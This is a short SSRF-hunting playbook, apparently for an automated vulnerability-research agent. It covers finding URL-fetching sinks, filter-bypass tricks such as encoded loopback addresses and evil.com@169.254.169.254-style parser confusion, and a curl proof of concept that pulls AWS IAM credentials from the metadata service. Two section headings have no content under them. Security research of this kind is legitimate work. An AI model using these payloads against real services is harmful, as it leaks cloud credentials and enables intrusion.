Ssrf

SSRF Hunting Playbook

SSRF is one of the highest-yield vuln classes for 0-day work because (a) it's often medium severity in isolation but chains to critical when it reaches cloud metadata, internal admin panels, or unprotected Redis/Elasticsearch, and (b) modern frameworks have dozens of bypass classes that scanners miss.

1. Sources (user-controlled input that becomes a URL)

Look for any parameter that gets fed into an HTTP client:

• Python: requests.get(user_url), httpx.get, urllib.request.urlopen, aiohttp.get
• Node: fetch(userUrl), axios.get, http.request, got, node-fetch
• Java: HttpURLConnection, HttpClient.send, URL.openConnection, OkHttpClient
• Go: http.Get(u), http.NewRequest, net.Dial("tcp", u)
• Ruby: Net::HTTP.get, URI.open, Faraday.get
• PHP: file_get_contents($url), curl_exec, fsockopen

Grep patterns to run via bash:

semgrep --config p/ssrf /workspace/src --sarif -o /workspace/sem-ssrf.sarif
grep -rE 'requests\.get\(|httpx\.|urllib.*urlopen|fetch\(|axios\.|http\.Get\(|URL\(' /workspace/src

2. Sinks that make SSRF worth reporting

3. Bypass classes (why scanners miss real bugs)

1. DNS rebinding — resolve to public first, then 127.0.0.1 on second lookup. Look for caches that don't pin IP across the fetch.
2. IPv6 literal — [::1], [::ffff:127.0.0.1], [::]
3. Decimal / octal / hex encoding — 0x7f.0.0.1, 0177.0.0.1, 2130706433
4. URL parser confusion — http://evil.com@169.254.169.254/, http://169.254.169.254#.evil.com/
5. IDN unicode tricks — homoglyph domains that normalize to metadata hosts
6. Redirect chains — allowlist checks the initial URL, not the 302 target
7. IMDSv2 required — but if the HTTP client sets a Metadata-Token header on redirect, v2 still leaks
8. 30x → file:// — server follows redirects across protocols

4. Taint audit workflow

1. Enumerate sources with grep + semgrep (above).
2. For each hit, follow the data flow manually:
   • Is there a urlparse check? Does it check .hostname (spoofable) or the raw URL (safe)?
   • Is there an IP allowlist check before or after DNS resolution? (Only before-resolution checks are TOCTOU-safe.)
   • Is redirect following disabled? allow_redirects=False in requests.
3. Each confirmed source-to-sink path → kg_add_node(kind="vulnerability", ...).
4. Link the vuln to its file+line via a code_location node.

5. PoC template

# AWS IMDSv1 leak — copy to clipboard after confirmation
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# → expect role name
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>"
# → expect {AccessKeyId, SecretAccessKey, Token}

Success patterns for validate_finding:

• AccessKeyId
• SecretAccessKey
• Token.*[A-Za-z0-9+/]{100,}

Negative control:

• Same request with the URL param blanked or set to https://example.com/
• Negative patterns: Missing url, 400, example.com

6. Default CVSS for confirmed SSRF

7. Chain promotion

Once validated, add an enables edge from the SSRF vuln to the adjacent IAM credential / Redis host / admin panel node. Weight 0.3 for trivial IMDS chains, 0.6 for bypass-required variants. Then plan_attack_chains(promote=True) to persist the complete chain.